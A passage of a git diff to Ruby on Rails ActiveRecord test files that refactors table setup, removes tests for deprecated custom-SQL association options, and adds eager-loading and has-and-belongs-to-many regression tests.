-        t.column :crisis_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :compresses do |t|
-        t.column :dress_id, :integer
-      end
-      @have_tables = true
-    else
-      @have_tables = false
+    connection.create_table :viri do |t|
+      t.column :octopus_id, :integer
+      t.column :species, :string
+    end
+    connection.create_table :octopi do |t|
+      t.column :species, :string
+    end
+    connection.create_table :passes do |t|
+      t.column :bus_id, :integer
+      t.column :rides, :integer
+    end
+    connection.create_table :buses do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises_messes, :id => false do |t|
+      t.column :crisis_id, :integer
+      t.column :mess_id, :integer
+    end
+    connection.create_table :messes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises do |t|
+      t.column :name, :string
+    end
+    connection.create_table :successes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :analyses do |t|
+      t.column :crisis_id, :integer
+      t.column :success_id, :integer
+    end
+    connection.create_table :dresses do |t|
+      t.column :crisis_id, :integer
+    end
+    connection.create_table :compresses do |t|
+      t.column :dress_id, :integer
     end
   end
 
   def teardown
-    ActiveRecord::Base.connection.drop_table :viri
-    ActiveRecord::Base.connection.drop_table :octopi
-    ActiveRecord::Base.connection.drop_table :passes
-    ActiveRecord::Base.connection.drop_table :buses
-    ActiveRecord::Base.connection.drop_table :crises_messes
-    ActiveRecord::Base.connection.drop_table :messes
-    ActiveRecord::Base.connection.drop_table :crises
-    ActiveRecord::Base.connection.drop_table :successes
-    ActiveRecord::Base.connection.drop_table :analyses
-    ActiveRecord::Base.connection.drop_table :dresses
-    ActiveRecord::Base.connection.drop_table :compresses
+    connection.drop_table :viri
+    connection.drop_table :octopi
+    connection.drop_table :passes
+    connection.drop_table :buses
+    connection.drop_table :crises_messes
+    connection.drop_table :messes
+    connection.drop_table :crises
+    connection.drop_table :successes
+    connection.drop_table :analyses
+    connection.drop_table :dresses
+    connection.drop_table :compresses
+  end
+
+  def connection
+    ActiveRecord::Base.connection
   end
 
   def test_eager_no_extra_singularization_belongs_to
-    return unless @have_tables
     assert_nothing_raised do
       Virus.all.merge!(:includes => :octopus).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_one
-    return unless @have_tables
     assert_nothing_raised do
       Octopus.all.merge!(:includes => :virus).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many
-    return unless @have_tables
     assert_nothing_raised do
       Bus.all.merge!(:includes => :passes).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_and_belongs_to_many
-    return unless @have_tables
     assert_nothing_raised do
       Crisis.all.merge!(:includes => :messes).to_a
       Mess.all.merge!(:includes => :crises).to_a
@@ -130,16 +134,15 @@ class EagerSingularizationTest < ActiveRecord::TestCase
   end
 
   def test_eager_no_extra_singularization_has_many_through_belongs_to
-    return unless @have_tables
     assert_nothing_raised do
       Crisis.all.merge!(:includes => :successes).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many_through_has_many
-    return unless @have_tables
     assert_nothing_raised do
       Crisis.all.merge!(:includes => :compresses).to_a
     end
   end
 end
+end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index 4aa6567..e6f28c3 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -4,6 +4,7 @@ require 'models/tagging'
 require 'models/tag'
 require 'models/comment'
 require 'models/author'
+require 'models/essay'
 require 'models/category'
 require 'models/company'
 require 'models/person'
@@ -24,7 +25,7 @@ require 'models/categorization'
 require 'models/sponsor'
 
 class EagerAssociationTest < ActiveRecord::TestCase
-  fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
+  fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts,
             :companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
             :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
             :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
@@ -234,6 +235,17 @@ class EagerAssociationTest < ActiveRecord::TestCase
     end
   end
 
+  def test_finding_with_includes_on_empty_polymorphic_type_column
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+    sponsor.update!(sponsorable_type: '', sponsorable_id: nil) # sponsorable_type column might be declared NOT NULL
+    sponsor = assert_queries(1) do
+      assert_nothing_raised { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
+    end
+    assert_no_queries do
+      assert_equal nil, sponsor.sponsorable
+    end
+  end
+
   def test_loading_from_an_association
     posts = authors(:david).posts.merge(:includes => :comments, :order => "posts.id").to_a
     assert_equal 2, posts.first.comments.size
@@ -250,7 +262,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
     assert_nil Post.all.merge!(:includes => :author).find(posts(:authorless).id).author
   end
 
-  def test_nested_loading_with_no_associations
+  # Regression test for 21c75e5
+  def test_nested_loading_does_not_raise_exception_when_association_does_not_exist
     assert_nothing_raised do
       Post.all.merge!(:includes => {:author => :author_addresss}).find(posts(:authorless).id)
     end
@@ -345,9 +358,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
     assert_nothing_raised do
-      ActiveSupport::Deprecation.silence do
-        Comment.all.merge!(:includes => :post, :where => ['posts.id = ?',4]).to_a
-      end
+      Comment.includes(:post).references(:posts).where('posts.id = ?', 4)
     end
   end
 
@@ -366,9 +377,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
     quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
     assert_nothing_raised do
-      ActiveSupport::Deprecation.silence do
-        Comment.all.merge!(:includes => :post, :where => ["#{quoted_posts_id} = ?",4]).to_a
-      end
+      Comment.includes(:post).references(:posts).where("#{quoted_posts_id} = ?", 4)
     end
   end
 
@@ -381,9 +390,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
     quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
     assert_nothing_raised do
-      ActiveSupport::Deprecation.silence do
-        Comment.all.merge!(:includes => :post, :order => quoted_posts_id).to_a
-      end
+      Comment.includes(:post).references(:posts).order(quoted_posts_id)
     end
   end
 
@@ -547,15 +554,11 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
-    posts = ActiveSupport::Deprecation.silence do
-      Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "authors.name = ?", 'David' ]).to_a
-    end
+    posts = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David')
     assert_equal 2, posts.size
 
-    count = ActiveSupport::Deprecation.silence do
-      Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
-    end
-    assert_equal count, posts.size
+    count = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David').count
+    assert_equal posts.size, count
   end
 
   def test_eager_with_has_many_and_limit_and_high_offset
@@ -717,16 +720,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_invalid_association_reference
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       Post.all.merge!(:includes=> :monkeys ).find(6)
     }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       Post.all.merge!(:includes=>[ :monkeys ]).find(6)
     }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       Post.all.merge!(:includes=>[ 'monkeys' ]).find(6)
     }
-    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
+    assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
       Post.all.merge!(:includes=>[ :monkeys, :elephants ]).find(6)
     }
   end
@@ -756,6 +759,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_default_scope_as_block
+    # warm up the habtm cache
+    EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first.projects
     developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first
     projects = Project.order(:id).to_a
     assert_no_queries do
@@ -1145,6 +1150,10 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_deep_including_through_habtm
+    # warm up habtm cache
+    posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
+    posts[0].categories[0].categorizations.length
+
     posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
     assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
     assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
@@ -1168,6 +1177,13 @@ class EagerAssociationTest < ActiveRecord::TestCase
     )
   end
 
+  test "deep preload" do
+    post = Post.preload(author: :posts, comments: :post).first
+
+    assert_predicate post.author.association(:posts), :loaded?
+    assert_predicate post.comments.first.association(:post), :loaded?
+  end
+
   test "preloading does not cache has many association subset when preloaded with a through association" do
     author = Author.includes(:comments_with_order_and_conditions, :posts).first
     assert_no_queries { assert_equal 2, author.comments_with_order_and_conditions.size }
@@ -1181,8 +1197,59 @@ class EagerAssociationTest < ActiveRecord::TestCase
     }
   end
 
-  test "works in combination with order(:symbol)" do
-    author = Author.includes(:posts).references(:posts).order(:name).where('posts.title IS NOT NULL').first
+  test "works in combination with order(:symbol) and reorder(:symbol)" do
+    author = Author.includes(:posts).references(:posts).order(:name).find_by('posts.title IS NOT NULL')
     assert_equal authors(:bob), author
+
+    author = Author.includes(:posts).references(:posts).reorder(:name).find_by('posts.title IS NOT NULL')
+    assert_equal authors(:bob), author
+  end
+
+  test "preloading with a polymorphic association and using the existential predicate but also using a select" do
+    assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+    assert_nothing_raised do
+      authors(:david).essays.includes(:writer).select(:name).any?
+    end
+  end
+
+  test "preloading the same association twice works" do
+    Member.create!
+    members = Member.preload(:current_membership).includes(current_membership: :club).all.to_a
+    assert_no_queries {
+      members_with_membership = members.select(&:current_membership)
+      assert_equal 3, members_with_membership.map(&:current_membership).map(&:club).size
+    }
+  end
+
+  test "preloading with a polymorphic association and using the existential predicate" do
+    assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+    assert_nothing_raised do
+      authors(:david).essays.includes(:writer).any?
+    end
+  end
+
+  test "preloading associations with string joins and order references" do
+    author = assert_queries(2) {
+      Author.includes(:posts).joins("LEFT JOIN posts ON posts.author_id = authors.id").order("posts.title DESC").first
+    }
+    assert_no_queries {
+      assert_equal 5, author.posts.size
+    }
+  end
+
+  test "including associations with where.not adds implicit references" do
+    author = assert_queries(2) {
+      Author.includes(:posts).where.not(posts: { title: 'Welcome to the weblog'} ).last
+    }
+
+    assert_no_queries {
+      assert_equal 2, author.posts.size
+    }
+  end
+
+  test "including association based on sql condition and no database column" do
+    assert_equal pets(:parrot), Owner.including_last_pet.first.last_pet
   end
 end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index da767a2..4c1fdfd 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -59,9 +59,11 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
   end
 
   def test_extension_name
-    assert_equal 'DeveloperAssociationNameAssociationExtension', extension_name(Developer)
-    assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
-    assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
+    extend!(Developer)
+    extend!(MyApplication::Business::Developer)
+
+    assert Object.const_get 'DeveloperAssociationNameAssociationExtension'
+    assert MyApplication::Business.const_get 'DeveloperAssociationNameAssociationExtension'
   end
 
   def test_proxy_association_after_scoped
@@ -72,9 +74,8 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
 
   private
 
-    def extension_name(model)
+    def extend!(model)
       builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, nil, {}) { }
-      builder.send(:wrap_block_extension)
-      builder.extension_module.name
+      builder.define_extensions(model)
     end
 end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index ed172b0..31421ac 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -11,6 +11,7 @@ require 'models/author'
 require 'models/tag'
 require 'models/tagging'
 require 'models/parrot'
+require 'models/person'
 require 'models/pirate'
 require 'models/treasure'
 require 'models/price_estimate'
@@ -20,6 +21,10 @@ require 'models/membership'
 require 'models/sponsor'
 require 'models/country'
 require 'models/treaty'
+require 'models/vertex'
+require 'models/publisher'
+require 'models/publisher/article'
+require 'models/publisher/magazine'
 require 'active_support/core_ext/string/conversions'
 
 class ProjectWithAfterCreateHook < ActiveRecord::Base
@@ -65,17 +70,12 @@ class DeveloperWithSymbolsForKeys < ActiveRecord::Base
     :foreign_key => "developer_id"
 end
 
-class DeveloperWithCounterSQL < ActiveRecord::Base
+class SubDeveloper < Developer
   self.table_name = 'developers'
-
-  ActiveSupport::Deprecation.silence do
-    has_and_belongs_to_many :projects,
-      :class_name => "DeveloperWithCounterSQL",
-      :join_table => "developers_projects",
-      :association_foreign_key => "project_id",
-      :foreign_key => "developer_id",
-      :counter_sql => proc { "SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}" }
-  end
+  has_and_belongs_to_many :special_projects,
+    :join_table => 'developers_projects',
+    :foreign_key => "project_id",
+    :association_foreign_key => "developer_id"
 end
 
 class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
@@ -94,6 +94,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     country.treaties << treaty
   end
 
+  def test_marshal_dump
+    post = posts :welcome
+    preloaded = Post.includes(:categories).find post.id
+    assert_equal preloaded, Marshal.load(Marshal.dump(preloaded))
+  end
+
   def test_should_property_quote_string_primary_keys
     setup_data_for_habtm_case
 
@@ -228,6 +234,24 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
   end
 
+  def test_habtm_collection_size_from_build
+    devel = Developer.create("name" => "Fred Wu")
+    devel.projects << Project.create("name" => "Grimetime")
+    devel.projects.build
+
+    assert_equal 2, devel.projects.size
+  end
+
+  def test_habtm_collection_size_from_params
+    devel = Developer.new({
+      projects_attributes: {
+        '0' => {}
+      }
+    })
+
+    assert_equal 1, devel.projects.size
+  end
+
   def test_build
     devel = Developer.find(1)
     proj = assert_no_queries { devel.projects.build("name" => "Projekt") }
@@ -364,31 +388,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 0, david.projects(true).size
   end
 
-  def test_deleting_with_sql
-    david = Developer.find(1)
-    active_record = Project.find(1)
-    active_record.developers.reload
-    assert_equal 3, active_record.developers_by_sql.size
-
-    active_record.developers_by_sql.delete(david)
-    assert_equal 2, active_record.developers_by_sql(true).size
-  end
-
-  def test_deleting_array_with_sql
-    active_record = Project.find(1)
-    active_record.developers.reload
-    assert_equal 3, active_record.developers_by_sql.size
-
-    active_record.developers_by_sql.delete(Developer.all)
-    assert_equal 0, active_record.developers_by_sql(true).size
-  end
-
-  def test_deleting_all_with_sql
-    project = Project.find(1)
-    project.developers_by_sql.delete_all
-    assert_equal 0, project.developers_by_sql.size
-  end
-
   def test_deleting_all
     david = Developer.find(1)
     david.projects.reload
@@ -475,13 +474,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert george.treasures(true).empty?
   end
 
-  def test_deprecated_push_with_attributes_was_removed
-    jamis = developers(:jamis)
-    assert_raise(NoMethodError) do
-      jamis.projects.push_with_attributes(projects(:action_controller), :joined_on => Date.today)
-    end
-  end
-
   def test_associations_with_conditions
     assert_equal 3, projects(:active_record).developers.size
     assert_equal 1, projects(:active_record).developers_named_david.size
@@ -537,25 +529,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert ! project.developers.include?(developer)
   end
 
-  def test_find_in_association_with_custom_finder_sql
-    assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id), "SQL find"
-
-    active_record = projects(:active_record)
-    active_record.developers_with_finder_sql.reload
-    assert_equal developers(:david), active_record.developers_with_finder_sql.find(developers(:david).id), "Ruby find"
-  end
-
-  def test_find_in_association_with_custom_finder_sql_and_multiple_interpolations
-    # interpolate once:
-    assert_equal [developers(:david), developers(:jamis), developers(:poor_jamis)], projects(:active_record).developers_with_finder_sql, "first interpolation"
-    # interpolate again, for a different project id
-    assert_equal [developers(:david)], projects(:action_controller).developers_with_finder_sql, "second interpolation"
-  end
-
-  def test_find_in_association_with_custom_finder_sql_and_string_id
-    assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id.to_s), "SQL find"
-  end
-
   def test_find_with_merged_options
     assert_equal 1, projects(:active_record).limited_developers.size
     assert_equal 1, projects(:active_record).limited_developers.to_a.size
@@ -634,6 +607,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert !developer.special_projects.include?(other_project)
   end
 
+  def test_symbol_join_table
+    developer = Developer.first
+    sp = developer.sym_special_projects.create("name" => "omg")
+    developer.reload
+    assert_includes developer.sym_special_projects, sp
+  end
+
   def test_update_attributes_after_push_without_duplicate_join_table_rows
     developer = Developer.new("name" => "Kano")
     project = SpecialProject.create("name" => "Special Project")
@@ -669,16 +649,24 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_join_table_alias
+    # FIXME: `references` has no impact on the aliases generated for the join
+    # query.  The fact that we pass `:developers_projects_join` to `references`
+    # and that the SQL string contains `developers_projects_join` is merely a
+    # coincidence.
     assert_equal(
       3,
       Developer.references(:developers_projects_join).merge(
         :includes => {:projects => :developers},
-        :where => 'developers_projects_join.joined_on IS NOT NULL'
+        :where => 'projects_developers_projects_join.joined_on IS NOT NULL'
       ).to_a.size
     )
   end
 
   def test_join_with_group
+    # FIXME: `references` has no impact on the aliases generated for the join
+    # query.  The fact that we pass `:developers_projects_join` to `references`
+    # and that the SQL string contains `developers_projects_join` is merely a
+    # coincidence.
     group = Developer.columns.inject([]) do |g, c|
       g << "developers.#{c.name}"
       g << "developers_projects_2.#{c.name}"
@@ -688,7 +676,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal(
       3,
       Developer.references(:developers_projects_join).merge(
-        :includes => {:projects => :developers}, :where => 'developers_projects_join.joined_on IS NOT NULL',
+        :includes => {:projects => :developers}, :where => 'projects_developers_projects_join.joined_on IS NOT NULL',
         :group => group.join(",")
       ).to_a.size
     )
@@ -702,12 +690,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_find_scoped_grouped
-    assert_equal 5, categories(:general).posts_grouped_by_title.size
-    assert_equal 1, categories(:technology).posts_grouped_by_title.size
+    assert_equal 5, categories(:general).posts_grouped_by_title.to_a.size
+    assert_equal 1, categories(:technology).posts_grouped_by_title.to_a.size
   end
 
   def test_find_scoped_grouped_having
-    assert_equal 2, projects(:active_record).well_payed_salary_groups.size
+    assert_equal 2, projects(:active_record).well_payed_salary_groups.to_a.size
     assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
   end
 
@@ -774,12 +762,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal project, developer.projects.first
   end
 
-  def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
-    assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
-      SelfMember.new.friends
-    }
-  end
-
   def test_dynamic_find_should_respect_association_include
     # SQL error in sort clause if :include is not included
     # due to Unknown column 'authors.id'
@@ -791,21 +773,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, david.projects.count
   end
 
-  def test_count_with_counter_sql
-    developer  = DeveloperWithCounterSQL.create(:name => 'tekin')
-    developer.project_ids = [projects(:active_record).id]
-    developer.save
-    developer.reload
-    assert_equal 1, developer.projects.count
-  end
-
-  unless current_adapter?(:PostgreSQLAdapter)
-    def test_count_with_finder_sql
-      assert_equal 3, projects(:active_record).developers_with_finder_sql.count
-      assert_equal 3, projects(:active_record).developers_with_multiline_finder_sql.count
-    end
-  end
-
   def test_association_proxy_transaction_method_starts_transaction_in_association_class
     Post.expects(:transaction)
     Category.first.posts.transaction do
@@ -845,19 +812,17 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert project.developers.include?(developer)
   end
 
-  test ":insert_sql is deprecated" do
-    klass = Class.new(ActiveRecord::Base)
-    def klass.name; 'Foo'; end
-    assert_deprecated { klass.has_and_belongs_to_many :posts, :insert_sql => 'lol' }
-  end
-
-  test ":delete_sql is deprecated" do
-    klass = Class.new(ActiveRecord::Base)
-    def klass.name; 'Foo'; end
-    assert_deprecated { klass.has_and_belongs_to_many :posts, :delete_sql => 'lol' }
+  def test_destruction_does_not_error_without_primary_key
+    redbeard = pirates(:redbeard)
+    george = parrots(:george)
+    redbeard.parrots << george
+    assert_equal 2, george.pirates.count
+    Pirate.includes(:parrots).where(parrot: redbeard.parrot).find(redbeard.id).destroy
+    assert_equal 1, george.pirates.count
+    assert_equal [], Pirate.where(id: redbeard.id)
   end
 
-  test "has and belongs to many associations on new records use null relations" do
+  def test_has_and_belongs_to_many_associations_on_new_records_use_null_relations
     projects = Developer.new.projects
     assert_no_queries do
       assert_equal [], projects
@@ -867,4 +832,55 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_create
+    rich_person = RichPerson.new
+
+    treasure = Treasure.new
+    treasure.rich_people << rich_person
+    treasure.valid?
+
+    assert_equal 1, treasure.rich_people.size
+    assert_nil rich_person.first_name, 'should not run associated person validation on create when validate: false'
+  end
+
+  def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_update
+    rich_person = RichPerson.create!
+    person_first_name = rich_person.first_name
+    assert_not_nil person_first_name
+
+    treasure = Treasure.new
+    treasure.rich_people << rich_person
+    treasure.valid?
+
+    assert_equal 1, treasure.rich_people.size
+    assert_equal person_first_name, rich_person.first_name, 'should not run associated person validation on update when validate: false'
+  end
+
+  def test_custom_join_table
+    assert_equal 'edges', Vertex.reflect_on_association(:sources).join_table
+  end
+
+  def test_namespaced_habtm
+    magazine = Publisher::Magazine.create
+    article = Publisher::Article.create
+    magazine.articles << article
+    magazine.save
+
+    assert_includes magazine.articles, article
+  end
+
+  def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_non_namespaced_model
+    article = Publisher::Article.create
+    tag = Tag.create
+    article.tags << tag
+    article.save
+
+    assert_includes article.tags, tag
+  end
+
+  def test_redefine_habtm
+    child = SubDeveloper.new("name" => "Aredridel")
+    child.special_projects << SpecialProject.new("name" => "Special Project")
+    assert_equal true, child.save
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index 6f86434..36f6884 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -22,79 +22,11 @@ require 'models/engine'
 require 'models/categorization'
 require 'models/minivan'
 require 'models/speedometer'
+require 'models/college'
+require 'models/student'
+require 'models/reference'
+require 'models/job'
 
-class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase
-  class Invoice < ActiveRecord::Base
-    ActiveSupport::Deprecation.silence do
-      has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
-    end
-  end
-  def test_should_fail
-    assert_raise(ArgumentError) do
-      Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
-    end
-  end
-end
-
-class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
-  class Invoice < ActiveRecord::Base
-    ActiveSupport::Deprecation.silence do
-      has_many :custom_line_items, :class_name => 'LineItem', :counter_sql => "SELECT COUNT(*) line_items.* from line_items"
-    end
-  end
-  def test_should_fail
-    assert_raise(ArgumentError) do
-      Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
-    end
-  end
-end
-
-class HasManyAssociationsTestForCountWithVariousFinderSqls < ActiveRecord::TestCase
-  class Invoice < ActiveRecord::Base
-    ActiveSupport::Deprecation.silence do
-      has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
-      has_many :custom_full_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.invoice_id, line_items.amount from line_items"
-      has_many :custom_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT * from line_items"
-      has_many :custom_qualified_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
-    end
-  end
-
-  def test_should_count_distinct_results
-    invoice = Invoice.new
-    invoice.custom_line_items << LineItem.new(:amount => 0)
-    invoice.custom_line_items << LineItem.new(:amount => 0)
-    invoice.save!
-
-    assert_equal 1, invoice.custom_line_items.count
-  end
-
-  def test_should_count_results_with_multiple_fields
-    invoice = Invoice.new
-    invoice.custom_full_line_items << LineItem.new(:amount => 0)
-    invoice.custom_full_line_items << LineItem.new(:amount => 0)
-    invoice.save!
-
-    assert_equal 2, invoice.custom_full_line_items.count
-  end
-
-  def test_should_count_results_with_star
-    invoice = Invoice.new
-    invoice.custom_star_line_items << LineItem.new(:amount => 0)
-    invoice.custom_star_line_items << LineItem.new(:amount => 0)
-    invoice.save!
-
-    assert_equal 2, invoice.custom_star_line_items.count
-  end
-
-  def test_should_count_results_with_qualified_star
-    invoice = Invoice.new
-    invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
-    invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
-    invoice.save!
-
-    assert_equal 2, invoice.custom_qualified_star_line_items.count
-  end
-end
 
 class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
   fixtures :authors, :posts, :comments
@@ -112,12 +44,37 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :categories, :companies, :developers, :projects,
            :developers_projects, :topics, :authors, :comments,
            :people, :posts, :readers, :taggings, :cars, :essays,
-           :categorizations
+           :categorizations, :jobs
 
   def setup
     Client.destroyed_client_ids.clear
   end
 
+  def test_anonymous_has_many
+    developer = Class.new(ActiveRecord::Base) {
+      self.table_name = 'developers'
+      dev = self
+
+      developer_project = Class.new(ActiveRecord::Base) {
+        self.table_name = 'developers_projects'
+        belongs_to :developer, :class => dev
+      }
+      has_many :developer_projects, :class => developer_project, :foreign_key => 'developer_id'
+    }
+    dev = developer.first
+    named = Developer.find(dev.id)
+    assert_operator dev.developer_projects.count, :>, 0
+    assert_equal named.projects.map(&:id).sort,
+                 dev.developer_projects.map(&:project_id).sort
+  end
+
+  def test_has_many_build_with_options
+    college = College.create(name: 'UFMT')
+    student = Student.create(active: true, college_id: college.id, name: 'Sarah')
+
+    assert_equal college.students, Student.where(active: true, college_id: college.id)
+  end
+
   def test_create_from_association_should_respect_default_scope
     car = Car.create(:name => 'honda')
     assert_equal 'honda', car.name
@@ -155,6 +112,26 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 'defaulty', bulb.name
   end
 
+  def test_do_not_call_callbacks_for_delete_all
+    car = Car.create(:name => 'honda')
+    car.funky_bulbs.create!
+    assert_nothing_raised { car.reload.funky_bulbs.delete_all }
+    assert_equal 0, Bulb.count, "bulbs should have been deleted using :delete_all strategy"
+  end
+
+  def test_delete_all_on_association_is_the_same_as_not_loaded
+    author = authors :david
+    author.thinking_posts.create!(:body => "test")
+    author.reload
+    expected_sql = capture_sql { author.thinking_posts.delete_all }
+
+    author.thinking_posts.create!(:body => "test")
+    author.reload
+    author.thinking_posts.inspect
+    loaded_sql = capture_sql { author.thinking_posts.delete_all }
+    assert_equal(expected_sql, loaded_sql)
+  end
+
   def test_building_the_associated_object_with_implicit_sti_base_class
     firm = DependentFirm.new
     company = firm.companies.build
@@ -183,6 +160,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(:type => "Account") }
   end
 
+  test "building the association with an array" do
+    speedometer = Speedometer.new(speedometer_id: "a")
+    data = [{name: "first"}, {name: "second"}]
+    speedometer.minivans.build(data)
+
+    assert_equal 2, speedometer.minivans.size
+    assert speedometer.save
+    assert_equal ["first", "second"], speedometer.reload.minivans.map(&:name)
+  end
+
   def test_association_keys_bypass_attribute_protection
     car = Car.create(:name => 'honda')
 
@@ -254,6 +241,31 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     end
 
     assert_no_queries do
